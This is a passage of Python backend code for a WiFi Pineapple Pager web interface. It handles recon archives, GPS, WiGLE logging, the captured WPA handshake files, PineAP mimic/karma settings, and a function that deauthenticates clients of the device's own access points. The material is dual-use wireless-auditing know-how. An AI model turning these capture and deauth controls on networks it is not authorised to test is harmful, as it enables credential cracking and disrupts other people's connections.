# Recon archives: read-only history from pineapd-rotated databases.
|
|
# pineapd renames recon.db to error-<ts>-recon.db when an INSERT hits
|
|
# SQLITE_BUSY, then starts a fresh database at scan 1. These endpoints expose
|
|
# the rotated files as read-only history. They never write and never change
|
|
# the live RECON_DB.
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def _recon_archive_path(archive_id):
|
|
"""Resolve a URL-encoded archive id (a rotated db filename) to an absolute
|
|
path, or None if it is not a real archive in the recon directory."""
|
|
if not archive_id:
|
|
return None
|
|
base = os.path.basename(archive_id)
|
|
if base != archive_id or '/' in archive_id or '\\' in archive_id:
|
|
return None
|
|
if not (base.startswith('error-') or base.startswith('diagnostic-')):
|
|
return None
|
|
if not base.endswith('recon.db'):
|
|
return None
|
|
path = os.path.join(os.path.dirname(RECON_DB), base)
|
|
return path if os.path.isfile(path) else None
|
|
|
|
|
|
_recon_archives_cache = {'dir': None, 'updated': 0, 'data': None}
|
|
RECON_ARCHIVES_CACHE_SECONDS = 15.0
|
|
|
|
|
|
def recon_archives_data():
|
|
now = time.time()
|
|
directory = os.path.dirname(RECON_DB)
|
|
cache = _recon_archives_cache
|
|
if (cache['dir'] == directory and cache['data'] is not None
|
|
and now - cache['updated'] < RECON_ARCHIVES_CACHE_SECONDS):
|
|
return cache['data']
|
|
archives = []
|
|
try:
|
|
names = sorted(os.listdir(directory))
|
|
except OSError:
|
|
return {'archives': []}
|
|
for name in names:
|
|
if not (name.startswith('error-') or name.startswith('diagnostic-')):
|
|
continue
|
|
if not name.endswith('recon.db'):
|
|
continue
|
|
path = os.path.join(directory, name)
|
|
try:
|
|
mtime = int(os.path.getmtime(path))
|
|
except OSError:
|
|
mtime = None
|
|
scans = []
|
|
try:
|
|
scans = recon_scans_data(limit=500, _timeout=15, db=path).get('scans') or []
|
|
except RuntimeError:
|
|
pass
|
|
lo = hi = n = None
|
|
if scans:
|
|
lo = min(s['id'] for s in scans)
|
|
hi = max(s['id'] for s in scans)
|
|
n = len(scans)
|
|
archives.append({'id': name, 'label': name, 'mtime': mtime,
|
|
'min_id': lo, 'max_id': hi, 'scans_count': n,
|
|
'scans': scans})
|
|
data = {'archives': archives}
|
|
cache.update({'dir': directory, 'updated': time.time(), 'data': data})
|
|
return data
|
|
|
|
|
|
def h_recon_archives(ctx):
|
|
return 200, recon_archives_data()
|
|
|
|
|
|
def h_recon_archive_scans(ctx):
|
|
path = _recon_archive_path(_unquote_plus(ctx.args[0]))
|
|
if path is None:
|
|
return 404, {'error': 'archive not found'}
|
|
try:
|
|
data = recon_scans_data(limit=500, db=path)
|
|
except RuntimeError:
|
|
return 503, {'error': 'archive database is temporarily unavailable'}
|
|
return 200, dict(data, archive=ctx.args[0])
|
|
|
|
|
|
def h_recon_archive_scan_detail(ctx):
|
|
path = _recon_archive_path(_unquote_plus(ctx.args[0]))
|
|
if path is None:
|
|
return 404, {'error': 'archive not found'}
|
|
scan_id = int(ctx.args[1])
|
|
try:
|
|
data = _recon_read_retry(lambda: recon_scan_data(
|
|
scan_id, _timeout=15, _limit=300, db=path))
|
|
except RuntimeError:
|
|
return 503, {'error': 'archive database is temporarily unavailable'}
|
|
if data is None:
|
|
return 404, {'error': 'scan not found in archive'}
|
|
return 200, data
|
|
|
|
|
|
def h_recon_archive_scan_download(ctx):
|
|
path = _recon_archive_path(_unquote_plus(ctx.args[0]))
|
|
if path is None:
|
|
return 404, {'error': 'archive not found'}
|
|
scan_id = int(ctx.args[1])
|
|
try:
|
|
data = _recon_read_retry(lambda: recon_scan_data(
|
|
scan_id, _timeout=15, _limit=300, db=path))
|
|
except RuntimeError:
|
|
return 503, {'error': 'archive database is temporarily unavailable'}
|
|
if data is None:
|
|
return 404, {'error': 'scan not found in archive'}
|
|
return 200, Download(json.dumps(data, indent=2).encode('utf-8'),
|
|
'application/json', 'scan-%d.json' % scan_id)
|
|
|
|
|
|
def h_recon_archive_scan_download_csv(ctx):
|
|
path = _recon_archive_path(_unquote_plus(ctx.args[0]))
|
|
if path is None:
|
|
return 404, {'error': 'archive not found'}
|
|
scan_id = int(ctx.args[1])
|
|
try:
|
|
data = _recon_read_retry(lambda: recon_scan_data(
|
|
scan_id, _timeout=15, _limit=300, db=path))
|
|
except RuntimeError:
|
|
return 503, {'error': 'archive database is temporarily unavailable'}
|
|
if data is None:
|
|
return 404, {'error': 'scan not found in archive'}
|
|
return 200, Download(_aps_csv(data).encode('utf-8'), 'text/csv',
|
|
'scan-%d.csv' % scan_id)
|
|
|
|
|
|
def h_recon_archive_scan_download_html(ctx):
|
|
path = _recon_archive_path(_unquote_plus(ctx.args[0]))
|
|
if path is None:
|
|
return 404, {'error': 'archive not found'}
|
|
scan_id = int(ctx.args[1])
|
|
try:
|
|
data = _recon_read_retry(lambda: recon_scan_data(
|
|
scan_id, _timeout=15, _limit=300, db=path))
|
|
client_count = _scan_client_count(scan_id, _timeout=12, db=path)
|
|
except RuntimeError:
|
|
return 503, {'error': 'archive database is temporarily unavailable'}
|
|
if data is None:
|
|
return 404, {'error': 'scan not found in archive'}
|
|
return 200, _recon_html_download(scan_id, data, client_count, archive=True)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# GPS: serial device discovery, gpsd control, TPV/SKY parsing, status cache.
|
|
# Tied to the Glytch GPS mod (gpsd + uci 'gpsd' config section).
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def _gps_serial_candidates():
|
|
candidates = []
|
|
if os.path.isdir(SERIAL_DIR):
|
|
try:
|
|
names = sorted(os.listdir(SERIAL_DIR))
|
|
except OSError:
|
|
names = []
|
|
for name in names:
|
|
path = os.path.join(SERIAL_DIR, name)
|
|
# by-path entries are named like '1.3_1-1.3:1.0' and only reveal
|
|
# their ttyACM/ttyUSB target through the resolved symlink.
|
|
target = os.path.realpath(path)
|
|
if ('ttyACM' in name or 'ttyUSB' in name
|
|
or 'ttyACM' in target or 'ttyUSB' in target):
|
|
candidates.append((name, path))
|
|
return candidates
|
|
|
|
|
|
def _uci_gps_get():
|
|
rc, out, err = device_run(['uci', 'get', 'gpsd.core.device'])
|
|
return out.strip() or None
|
|
|
|
|
|
def _uci_gps_set(device):
|
|
device_run(['uci', 'set', 'gpsd.core.device=%s' % device])
|
|
device_run(['uci', 'commit', 'gpsd'])
|
|
|
|
|
|
def _gpsd_running():
|
|
rc, out, err = device_run(['pgrep', '-f', 'gpsd'])
|
|
return rc == 0
|
|
|
|
|
|
def _gpsd_restart():
|
|
device_run([GPSD_INIT, 'restart'], timeout=15)
|
|
|
|
|
|
def _gps_from_gpspipe():
|
|
try:
|
|
p = subprocess.Popen(['gpspipe', '-w', '-n', '3'],
|
|
stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
|
|
out, _ = p.communicate(timeout=8)
|
|
except Exception:
|
|
return None
|
|
tpv = None
|
|
sky = None
|
|
for line in out.decode('utf-8', 'replace').splitlines():
|
|
obj = _json_or(line)
|
|
if not isinstance(obj, dict):
|
|
continue
|
|
cls = obj.get('class')
|
|
if cls == 'TPV' and tpv is None:
|
|
tpv = obj
|
|
elif cls == 'SKY' and sky is None:
|
|
sky = obj
|
|
if tpv is None:
|
|
return None
|
|
return {'fix': tpv.get('mode') or 0,
|
|
'lat': tpv.get('lat'),
|
|
'lon': tpv.get('lon'),
|
|
'alt': tpv.get('alt'),
|
|
'speed': tpv.get('speed'),
|
|
'satellites': (sky or {}).get('satellites') or None}
|
|
|
|
|
|
def _gps_from_hak5cmd():
|
|
out = hak5('GPS_GET', timeout=10)
|
|
obj = _json_or(out)
|
|
if not isinstance(obj, dict):
|
|
return None
|
|
return {'fix': obj.get('fix') or obj.get('mode') or 0,
|
|
'lat': obj.get('lat') or obj.get('latitude'),
|
|
'lon': obj.get('lon') or obj.get('longitude'),
|
|
'alt': obj.get('alt'),
|
|
'speed': obj.get('speed'),
|
|
'satellites': obj.get('satellites') or obj.get('satellites_used')}
|
|
|
|
|
|
def _wigle_config():
|
|
_, cur = daemon_sock_call('GET', '/api/pineap/get_config')
|
|
base = dict(PINEAP_CONFIG_DEFAULTS)
|
|
if isinstance(cur, dict) and 'reconpath' in cur:
|
|
base.update(cur)
|
|
return base
|
|
|
|
|
|
def _wigle_set(enabled):
|
|
base = _wigle_config()
|
|
base['logwigle'] = bool(enabled)
|
|
return _daemon_proxy('PUT', 'set_config', base)
|
|
|
|
|
|
def _gps_status_data_nocache():
|
|
try:
|
|
device = _uci_gps_get()
|
|
except Exception:
|
|
device = None
|
|
try:
|
|
present = any(os.path.exists(path)
|
|
for _, path in _gps_serial_candidates())
|
|
except Exception:
|
|
present = False
|
|
try:
|
|
running = _gpsd_running()
|
|
except Exception:
|
|
running = False
|
|
data = {'device': device, 'present': present, 'fix': 0,
|
|
'lat': None, 'lon': None, 'alt': None, 'speed': None,
|
|
'satellites': None, 'gpsd_running': running,
|
|
'updated': None, 'wigle': _wigle_config().get('logwigle', False)}
|
|
fix = _gps_from_gpspipe() if running else None
|
|
# GPS_GET through the daemon can block for seconds when gpsd is down;
|
|
# only fall back to it while gpsd is actually running.
|
|
if fix is None and running:
|
|
fix = _gps_from_hak5cmd()
|
|
if fix:
|
|
data.update(fix)
|
|
data['updated'] = int(time.time())
|
|
return data
|
|
|
|
|
|
def _gps_status_data():
|
|
with _gps_lock:
|
|
if (_gps_cache['data'] is not None
|
|
and time.time() - _gps_cache['updated'] < GPS_CACHE_SECONDS):
|
|
return _gps_cache['data']
|
|
data = _gps_status_data_nocache()
|
|
_gps_cache.update({'updated': time.time(), 'data': data})
|
|
return data
|
|
|
|
|
|
def h_recon_gps(ctx):
|
|
return 200, _gps_status_data()
|
|
|
|
|
|
def h_recon_gps_configure(ctx):
|
|
try:
|
|
candidates = _gps_serial_candidates()
|
|
except Exception:
|
|
candidates = []
|
|
if not candidates:
|
|
return 200, {'present': False, 'error': 'No GPS serial device found'}
|
|
try:
|
|
current = _uci_gps_get()
|
|
except Exception:
|
|
current = None
|
|
ordered = sorted(candidates, key=lambda c: (c[0] != current, c[0]))
|
|
tried = []
|
|
for name, path in ordered[:3]:
|
|
tried.append(name)
|
|
try:
|
|
_uci_gps_set(name)
|
|
_gpsd_restart()
|
|
time.sleep(1.5)
|
|
fix = _gps_from_gpspipe()
|
|
except Exception:
|
|
fix = None
|
|
if fix is not None and fix.get('fix'):
|
|
data = _gps_status_data_nocache()
|
|
data.update({'configured': True, 'device': name, 'tried': tried,
|
|
'lock': True})
|
|
return 200, data
|
|
data = _gps_status_data_nocache()
|
|
data.update({'configured': True, 'device': ordered[0][0], 'tried': tried,
|
|
'note': 'GPS bound, waiting for a fix'})
|
|
return 200, data
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# WiGLE logging: toggle the daemon 'logwigle' setting, list and download the
|
|
# CSV files the daemon writes under WIGLE_DIR.
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def wigle_files_data():
|
|
files = []
|
|
if os.path.isdir(WIGLE_DIR):
|
|
try:
|
|
names = sorted(os.listdir(WIGLE_DIR))
|
|
except OSError:
|
|
names = []
|
|
for name in names:
|
|
path = os.path.join(WIGLE_DIR, name)
|
|
if not os.path.isfile(path):
|
|
continue
|
|
try:
|
|
size = os.path.getsize(path)
|
|
mtime = int(os.path.getmtime(path))
|
|
except OSError:
|
|
continue
|
|
rows = None
|
|
if size <= 2 * 1024 * 1024:
|
|
try:
|
|
with open(path, 'r', errors='replace') as fh:
|
|
lines = [line for line in fh if line.strip()]
|
|
# WiGLE CSVs lead with a meta line ('WigleWifi-1.6,...')
|
|
# followed by the column header; only count data rows.
|
|
header_offset = 2 if lines and lines[0].startswith('WigleWifi') else 1
|
|
rows = max(0, len(lines) - header_offset)
|
|
except OSError:
|
|
rows = None
|
|
files.append({'name': name, 'size': size, 'mtime': mtime, 'rows': rows})
|
|
return {'files': files}
|
|
|
|
|
|
def h_recon_wigle_files(ctx):
|
|
return 200, wigle_files_data()
|
|
|
|
|
|
def h_recon_wigle_file(ctx):
|
|
name = _unquote_plus(ctx.args[0])
|
|
path = _safe_join(WIGLE_DIR, name)
|
|
if path is None or not os.path.isfile(path):
|
|
return 404, {'error': 'file not found'}
|
|
try:
|
|
with open(path, 'rb') as fh:
|
|
body = fh.read()
|
|
except OSError:
|
|
return 404, {'error': 'file not found'}
|
|
return 200, Download(body, 'text/csv', os.path.basename(path))
|
|
|
|
|
|
def h_recon_wigle(ctx):
|
|
enable = bool((getattr(ctx, 'body', None) or {}).get('enable'))
|
|
status, data = _wigle_set(enable)
|
|
if status != 200:
|
|
return status, data
|
|
if enable:
|
|
hak5('WIGLE_START', timeout=10)
|
|
else:
|
|
hak5('WIGLE_STOP', timeout=10)
|
|
resp = {'ok': True, 'wigle': enable}
|
|
if enable:
|
|
files = wigle_files_data().get('files') or []
|
|
if files:
|
|
resp['filename'] = files[-1]['name']
|
|
return 200, resp
|
|
|
|
|
|
HS_FILENAME_RE = re.compile(
|
|
r'^(?:(\d+)_)?([0-9A-Fa-f]{2}(?:[:-][0-9A-Fa-f]{2}){5})_'
|
|
r'([0-9A-Fa-f]{2}(?:[:-][0-9A-Fa-f]{2}){5})(?:_handshake)?'
|
|
r'(?:_(full|partial|incomplete))?\.([A-Za-z0-9]+)$')
|
|
|
|
|
|
def parse_hs_filename(name):
|
|
m = HS_FILENAME_RE.match(name or '')
|
|
if not m:
|
|
return None
|
|
ts, ap, client, kind, ext = m.groups()
|
|
return {'ts': int(ts) if ts else None,
|
|
'ap': ap.replace('-', ':'),
|
|
'client': client.replace('-', ':'),
|
|
'kind': kind or 'full',
|
|
'ext': ext}
|
|
|
|
|
|
def _norm_mac(m):
|
|
m = (m or '').strip().upper().replace('-', ':')
|
|
if len(m) == 12 and ':' not in m and all(c in '0123456789ABCDEF' for c in m):
|
|
m = ':'.join(m[i:i + 2] for i in range(0, 12, 2))
|
|
return m
|
|
|
|
|
|
def _hs_db_by_pair(min_ts):
|
|
rows = _db_rows(RECON_DB,
|
|
'SELECT h.time, '
|
|
'(h.hs1 IS NOT NULL AND length(h.hs1) > 0) AS m1, '
|
|
'(h.hs2 IS NOT NULL AND length(h.hs2) > 0) AS m2, '
|
|
'(h.hs3 IS NOT NULL AND length(h.hs3) > 0) AS m3, '
|
|
'(h.hs4 IS NOT NULL AND length(h.hs4) > 0) AS m4, '
|
|
'(h.beacon IS NOT NULL AND length(h.beacon) > 0) AS beacon, '
|
|
'w1.mac AS ap, w2.mac AS sta '
|
|
'FROM handshake h '
|
|
'JOIN wifi_device w1 ON w1.hash = h.aphash '
|
|
'JOIN wifi_device w2 ON w2.hash = h.stahash '
|
|
'WHERE h.time >= %d ORDER BY h.time' % min_ts)
|
|
db = {}
|
|
for r in rows:
|
|
db[(_norm_mac(r.get('ap')), _norm_mac(r.get('sta')))] = {
|
|
'time': r.get('time'),
|
|
'part_mask': (1 if r.get('m1') else 0) | (2 if r.get('m2') else 0)
|
|
| (4 if r.get('m3') else 0) | (8 if r.get('m4') else 0),
|
|
'beacon': bool(r.get('beacon')),
|
|
}
|
|
return db
|
|
|
|
|
|
def _compose_hs(name, size, mtime, part, db):
|
|
base = {'source': 'Recon', 'name': name, 'size': size,
|
|
'location': os.path.join(LOOT_HS_DIR, name), 'file_exists': True}
|
|
if part is None:
|
|
ext = name.rsplit('.', 1)[-1] if '.' in name else ''
|
|
base.update({'mac': '--', 'client': '--', 'type': 'full',
|
|
'timestamp': mtime, 'in_db': False, 'part_mask': 0,
|
|
'beacon': False, 'extension': ext})
|
|
return base
|
|
rec = db.get((_norm_mac(part['ap']), _norm_mac(part['client'])))
|
|
base.update({
|
|
'mac': part['ap'], 'client': part['client'], 'type': part['kind'],
|
|
'timestamp': (rec or {}).get('time') or part['ts'] or mtime,
|
|
'in_db': rec is not None,
|
|
'part_mask': (rec or {}).get('part_mask', 0),
|
|
'beacon': bool((rec or {}).get('beacon', False)),
|
|
'extension': part['ext']})
|
|
return base
|
|
|
|
|
|
def handshakes_data():
|
|
files = []
|
|
parsed = []
|
|
min_ts = None
|
|
try:
|
|
names = sorted(os.listdir(LOOT_HS_DIR))
|
|
except OSError:
|
|
names = []
|
|
for name in names:
|
|
p = os.path.join(LOOT_HS_DIR, name)
|
|
try:
|
|
if not os.path.isfile(p) or name.startswith('.'):
|
|
continue
|
|
st = os.stat(p)
|
|
except OSError:
|
|
continue
|
|
mtime = int(st.st_mtime)
|
|
files.append({'name': name, 'size': st.st_size, 'mtime': mtime})
|
|
part = parse_hs_filename(name)
|
|
if part is not None:
|
|
ts = part['ts'] if part['ts'] is not None else mtime
|
|
part['ts'] = ts
|
|
if min_ts is None or ts < min_ts:
|
|
min_ts = ts
|
|
parsed.append((name, st.st_size, mtime, part))
|
|
handshakes = []
|
|
db = {}
|
|
if min_ts is not None:
|
|
try:
|
|
db = _hs_db_by_pair(min_ts)
|
|
except Exception:
|
|
db = {}
|
|
for name, size, mtime, part in parsed:
|
|
handshakes.append(_compose_hs(name, size, mtime, part, db))
|
|
return {'files': files, 'handshakes': handshakes}
|
|
|
|
|
|
def h_handshakes_get(ctx):
|
|
return 200, handshakes_data()
|
|
|
|
|
|
def h_handshake_file(ctx):
|
|
name = _unquote_plus(ctx.args[0])
|
|
full = _safe_join(LOOT_HS_DIR, name)
|
|
if not full or not os.path.isfile(full):
|
|
return 404, {'error': 'not found'}
|
|
with open(full, 'rb') as f:
|
|
body = f.read()
|
|
return 200, Download(body, 'application/octet-stream', name)
|
|
|
|
|
|
def h_handshakes_delete(ctx):
|
|
name = (ctx.body or {}).get('name') or ctx.query.get('name') or ''
|
|
safe = os.path.basename(name)
|
|
if not safe or safe != name:
|
|
return 400, {'error': 'invalid name'}
|
|
p = os.path.join(LOOT_HS_DIR, safe)
|
|
if not os.path.isfile(p):
|
|
return 404, {'error': 'not found'}
|
|
os.remove(p)
|
|
return 200, handshakes_data()
|
|
|
|
|
|
def h_handshakes_location(ctx):
|
|
return 200, {'location': LOOT_HS_DIR}
|
|
|
|
|
|
def h_handshakes_delete_all(ctx):
|
|
try:
|
|
names = os.listdir(LOOT_HS_DIR)
|
|
except OSError:
|
|
names = []
|
|
for name in names:
|
|
p = os.path.join(LOOT_HS_DIR, name)
|
|
try:
|
|
if os.path.isfile(p) and not name.startswith('.'):
|
|
os.remove(p)
|
|
except OSError:
|
|
continue
|
|
return 200, handshakes_data()
|
|
|
|
|
|
def h_loot_zip(ctx):
|
|
status, raw = daemon_call('GET', '/api/loot/zip', token=current_token())
|
|
if status != 200 or not isinstance(raw, bytes):
|
|
return 502, {'error': 'daemon failed'}
|
|
return 200, Download(raw, 'application/zip', 'loot.zip')
|
|
|
|
|
|
def h_loot_archive(ctx):
|
|
status, data = daemon_call('POST', '/api/loot/archive', token=current_token())
|
|
return (200 if status == 200 else 502), (data if isinstance(data, dict) else {'ok': status == 200})
|
|
|
|
|
|
def _is_monitor_iface(name):
|
|
n = (name or '').lower()
|
|
return n.endswith('mon') or 'mon' in n
|
|
|
|
|
|
def _parse_assoclist(name, out):
|
|
clients = []
|
|
for line in (out or '').splitlines():
|
|
m = re.match(r'\s*([0-9A-Fa-f]{2}(?::[0-9A-Fa-f]{2}){5})\s+', line)
|
|
if not m:
|
|
continue
|
|
rssi = None
|
|
rm = re.search(r'Signal:\s*(-?\d+)', line)
|
|
if rm:
|
|
rssi = int(rm.group(1))
|
|
clients.append({'mac': m.group(1).upper(), 'iface': name, 'rssi': rssi,
|
|
'source': 'iwinfo'})
|
|
return clients
|
|
|
|
|
|
def _parse_station_dump(name, out):
|
|
clients = []
|
|
mac = None
|
|
rssi = None
|
|
for line in (out or '').splitlines():
|
|
m = re.match(r'Station\s+([0-9A-Fa-f]{2}(?::[0-9A-Fa-f]{2}){5})\s', line, re.I)
|
|
if m:
|
|
if mac:
|
|
clients.append({'mac': mac, 'iface': name, 'rssi': rssi, 'source': 'iw'})
|
|
mac = m.group(1).upper()
|
|
rssi = None
|
|
continue
|
|
sm = re.search(r'signal:\s*(-?\d+)', line)
|
|
if sm and mac:
|
|
rssi = int(sm.group(1))
|
|
if mac:
|
|
clients.append({'mac': mac, 'iface': name, 'rssi': rssi, 'source': 'iw'})
|
|
return clients
|
|
|
|
|
|
def assoc_clients(ifaces=None):
|
|
"""Associated STAs on AP interfaces. Skips monitor ifaces (they hang iwinfo)."""
|
|
clients = []
|
|
seen = set()
|
|
names = list(wifi_ifaces() if ifaces is None else ifaces)
|
|
try:
|
|
if os.path.exists('/sys/class/net/%s' % ENT_IFACE) and ENT_IFACE not in names:
|
|
names.append(ENT_IFACE)
|
|
except OSError:
|
|
pass
|
|
for name in names:
|
|
if not name or _is_monitor_iface(name):
|
|
continue
|
|
rows = []
|
|
rc, out, err = device_run(['iw', 'dev', name, 'station', 'dump'], timeout=3)
|
|
if rc == 0:
|
|
rows = _parse_station_dump(name, out)
|
|
else:
|
|
rc, out, err = device_run(['iwinfo', name, 'assoclist'], timeout=3)
|
|
rows = _parse_assoclist(name, out)
|
|
for row in rows:
|
|
key = (row.get('mac'), name)
|
|
if key in seen:
|
|
continue
|
|
seen.add(key)
|
|
clients.append(row)
|
|
try:
|
|
ssid = (_ent_state_loaded() or {}).get('ssid') or ''
|
|
for mac in _ent_stations():
|
|
key = (mac, ENT_IFACE)
|
|
if key in seen:
|
|
continue
|
|
seen.add(key)
|
|
clients.append({'mac': mac, 'iface': ENT_IFACE, 'rssi': None,
|
|
'ssid': ssid, 'source': 'hostapd'})
|
|
except Exception:
|
|
pass
|
|
return clients
|
|
|
|
|
|
def _iface_ap_info(iface):
|
|
"""(bssid, channel) of the AP running on `iface`, via iwinfo."""
|
|
rc, out, err = device_run(['iwinfo', iface, 'info'])
|
|
bssid = None
|
|
channel = None
|
|
for line in out.splitlines():
|
|
m = re.search(r'Access Point:\s*([0-9A-Fa-f]{2}(?::[0-9A-Fa-f]{2}){5})', line)
|
|
if m:
|
|
bssid = m.group(1).upper()
|
|
m = re.search(r'Channel:\s*(\d+)', line)
|
|
if m:
|
|
channel = int(m.group(1))
|
|
return bssid, channel
|
|
|
|
|
|
def _deauth_target(mac):
|
|
"""(iface, bssid, channel) for an associated client, else None."""
|
|
for c in assoc_clients():
|
|
if c['mac'] != mac:
|
|
continue
|
|
bssid, channel = _iface_ap_info(c['iface'])
|
|
if not bssid or not channel:
|
|
return None
|
|
return c['iface'], bssid, channel
|
|
return None
|
|
|
|
|
|
def _deauth_client_via_iface(mac):
|
|
"""Deauth a client associated to one of our own APs.
|
|
|
|
hak5cmd's deauth needs the full (bssid, target, channel) triple; the
|
|
client's AP and channel are resolved from its association interface.
|
|
Returns (ok, detail).
|
|
"""
|
|
target = _deauth_target(mac)
|
|
if not target:
|
|
return False, 'client not associated'
|
|
iface, bssid, channel = target
|
|
band = _band_of_channel(channel)
|
|
inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon'
|
|
if inject != 'wlan1mon':
|
|
_pineap('INTERFACE', 'INJECT', inject)
|
|
rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, mac,
|
|
str(channel)], timeout=30)
|
|
return rc == 0, (err or out)
|
|
|
|
|
|
def disk_data():
|
|
rc, out, err = device_run(['df', '-k', '/root'])
|
|
lines = out.splitlines()
|
|
if len(lines) >= 2:
|
|
parts = lines[1].split()
|
|
if len(parts) >= 4:
|
|
try:
|
|
size = int(parts[1]); used = int(parts[2]); avail = int(parts[3])
|
|
return {'size': size * 1024, 'used': used * 1024, 'avail': avail * 1024}
|
|
except ValueError:
|
|
pass
|
|
return {}
|
|
|
|
|
|
def uptime_data():
|
|
rc, out, err = device_run(['cat', '/proc/uptime'])
|
|
try:
|
|
return int(float(out.split()[0]))
|
|
except Exception:
|
|
return None
|
|
|
|
|
|
def firmware_data():
|
|
rc, out, err = device_run(['cat', '/etc/openwrt_release'])
|
|
dist = None
|
|
for line in out.splitlines():
|
|
if line.startswith('DISTRIB_DESCRIPTION'):
|
|
dist = line.split('=', 1)[1].strip().strip('"')
|
|
return dist
|
|
|
|
|
|
def daemon_status():
|
|
status, data = daemon_call('GET', '/api/api_ping', token=current_token())
|
|
if status == 200 and isinstance(data, dict):
|
|
return data
|
|
return {}
|
|
|
|
|
|
def hostname_data():
|
|
rc, out, err = device_run(['uci', 'get', 'system.@system[0].hostname'])
|
|
return out.strip() or None
|
|
|
|
|
|
def status_data():
|
|
# iwinfo can be slow on the Pager, especially while radios are being
|
|
# reconfigured. Discover interfaces once and share the result between
|
|
# the radio and association portions of this snapshot.
|
|
ifaces = wifi_ifaces()
|
|
return {
|
|
'battery': battery_data(),
|
|
'firmware': firmware_data(),
|
|
'daemon': daemon_status(),
|
|
'wifi': [wifi_iface_info(n) for n in ifaces],
|
|
'clients': assoc_clients(ifaces),
|
|
'disk': disk_data(),
|
|
'uptime': uptime_data(),
|
|
'hostname': hostname_data(),
|
|
}
|
|
|
|
|
|
def h_status(ctx):
|
|
return 200, status_data()
|
|
|
|
|
|
def h_device(ctx):
|
|
rc, out, err = device_run(['ip', 'link'])
|
|
macs = re.findall(r'link/ether ([0-9a-f:]{17})', out.lower())
|
|
return 200, {'hostname': hostname_data(), 'macs': sorted(set(macs)), 'model': 'WiFi Pineapple Pager'}
|
|
|
|
|
|
# Map logical setting -> uci option. Adjust after on-device `uci show pineapd`.
|
|
def uci_show(section='pineapd'):
|
|
rc, out, err = device_run(['uci', 'show', section])
|
|
return out
|
|
|
|
|
|
def uci_set(option, value):
|
|
device_run(['uci', 'set', '%s=%s' % (option, value)])
|
|
device_run(['uci', 'commit'])
|
|
|
|
|
|
def uci_delete(option):
|
|
device_run(['uci', 'delete', option])
|
|
device_run(['uci', 'commit'])
|
|
|
|
|
|
def uci_add_list(option, value):
|
|
device_run(['uci', 'add_list', '%s=%s' % (option, value)])
|
|
device_run(['uci', 'commit'])
|
|
|
|
|
|
def _daemon_proxy(method, subpath, body=None, timeout=15):
|
|
status, data = daemon_sock_call(method, '/api/pineap/%s' % subpath, body=body, timeout=timeout)
|
|
if status != 200:
|
|
return (502 if status == 0 else status), {'error': 'daemon failed', 'detail': data}
|
|
return 200, (data if isinstance(data, dict) else {'ok': data is not None})
|
|
|
|
|
|
def h_pineap_get_config(ctx):
|
|
return _daemon_proxy('GET', 'get_config')
|
|
|
|
|
|
PINEAP_CONFIG_DEFAULTS = {
|
|
'reconpath': '/root/recon/',
|
|
'reconname': 'pager',
|
|
'payloadpath': '/root/payloads/alerts/',
|
|
'handshakepath': '/root/loot/handshakes/',
|
|
'loghandshake': False,
|
|
'logpartialhandshake': False,
|
|
'pcappath': '/root/loot/pcap',
|
|
'logpcap': False,
|
|
'logwigle': False,
|
|
'logrecon': True,
|
|
'autossidpool': False,
|
|
}
|
|
|
|
HOSTAPD_DEFAULTS = {
|
|
'mgmt_ifaces': ['wlan0mgmt'],
|
|
'wpa_ifaces': ['wlan0wpa'],
|
|
'pineap_disabled': False,
|
|
'pineape_disabled': False,
|
|
'pineape_auth_pass': True,
|
|
}
|
|
|
|
|
|
def h_pineap_set_config(ctx):
|
|
body = ctx.body or {}
|
|
status, cur = daemon_sock_call('GET', '/api/pineap/get_config')
|
|
if status != 200 or not isinstance(cur, dict):
|
|
return 502, {'error': 'could not read current PineAP config', 'detail': cur}
|
|
base = dict(PINEAP_CONFIG_DEFAULTS)
|
|
base.update(cur)
|
|
base.update(body)
|
|
status, data = _daemon_proxy('PUT', 'set_config', base)
|
|
if status == 200 and 'autossidpool' in body:
|
|
update_pineap_state(mode='advanced', collect=bool(body['autossidpool']))
|
|
return status, data
|
|
|
|
|
|
def h_pineap_hostapd_get(ctx):
|
|
return _daemon_proxy('GET', 'hostapd/get_config')
|
|
|
|
|
|
def h_pineap_hostapd_set(ctx):
|
|
body = ctx.body or {}
|
|
status, cur = daemon_sock_call('GET', '/api/pineap/hostapd/get_config')
|
|
if status != 200 or not isinstance(cur, dict):
|
|
return 502, {'error': 'could not read current hostapd config', 'detail': cur}
|
|
base = dict(HOSTAPD_DEFAULTS)
|
|
base.update(cur)
|
|
base.update({k: v for k, v in body.items() if k in HOSTAPD_DEFAULTS})
|
|
if _ent_running() and 'pineape_auth_pass' in body:
|
|
_ent_ctrl('pineape_auth_enable' if body.get('pineape_auth_pass')
|
|
else 'pineape_auth_disable')
|
|
return _daemon_proxy('PUT', 'hostapd/set_config', base)
|
|
|
|
|
|
def h_pineap_enable(ctx):
|
|
enable = bool((ctx.body or {}).get('enable'))
|
|
status, data = _daemon_proxy('PUT', 'hostapd/enable_pineap', {'enable': enable})
|
|
if status == 200:
|
|
update_pineap_state(mode='advanced', enabled=enable)
|
|
return status, data
|
|
|
|
|
|
def h_pineap_mimic(ctx):
|
|
enable = bool((ctx.body or {}).get('enable'))
|
|
status, data = _daemon_proxy('POST', 'mimic/enable' if enable else 'mimic/disable')
|
|
if status == 200:
|
|
update_pineap_state(mode='advanced', karma=enable)
|
|
return status, data
|
|
|
|
|
|
def h_pineap_examine(ctx):
|
|
body = ctx.body or {}
|
|
if body.get('reset'):
|
|
return _daemon_proxy('POST', 'examine/reset', {'reset': True})
|
|
if body.get('bssid'):
|
|
req = {'bssid': body['bssid']}
|
|
if body.get('seconds') is not None:
|
|
req['seconds'] = int(body['seconds'])
|
|
return _daemon_proxy('POST', 'examine/bssid', req)
|
|
if body.get('channel') is not None:
|
|
return _daemon_proxy('POST', 'examine/channel', {'channel': str(int(body['channel']))})
|
|
return 400, {'error': 'examine requires bssid, channel or reset'}
|
|
|
|
|
|
def _uci_values(section):
|
|
"""Return the simple key/value fields emitted by ``uci show``."""
|
|
rc, out, err = device_run(['uci', 'show', section])
|
|
cfg = {}
|
|
for line in out.splitlines():
|
|
line = line.strip()
|
|
if '=' not in line:
|
|
continue
|
|
